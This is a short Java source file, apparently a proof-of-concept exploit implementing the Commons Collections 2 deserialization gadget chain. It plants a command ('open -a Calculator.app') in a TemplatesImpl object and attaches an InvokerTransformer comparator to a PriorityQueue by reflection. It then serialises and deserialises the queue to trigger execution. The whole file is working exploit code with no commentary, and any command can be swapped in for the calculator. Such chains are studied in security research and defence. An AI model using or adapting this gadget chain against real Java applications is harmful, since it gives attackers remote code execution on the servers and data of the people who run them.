package cc;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import common.Utils;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class CC2 {
    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = Utils.getTemplates("open -a Calculator.app");

        InvokerTransformer transformer = new InvokerTransformer("newTransformer", null, null);
        TransformingComparator comparator = new TransformingComparator(transformer);
        PriorityQueue priorityQueue = new PriorityQueue(2, (o1, o2) -> 0);
        priorityQueue.add(templates);
        priorityQueue.add(templates);

        Field comparator1 = PriorityQueue.class.getDeclaredField("comparator");
        comparator1.setAccessible(true);
        comparator1.set(priorityQueue, comparator);

//        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc2.bin"));
//        oos.writeObject(priorityQueue);

        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        new ObjectOutputStream(baos).writeObject(priorityQueue);
        new ObjectInputStream(new ByteArrayInputStream(baos.toByteArray())).readObject();
    }

}
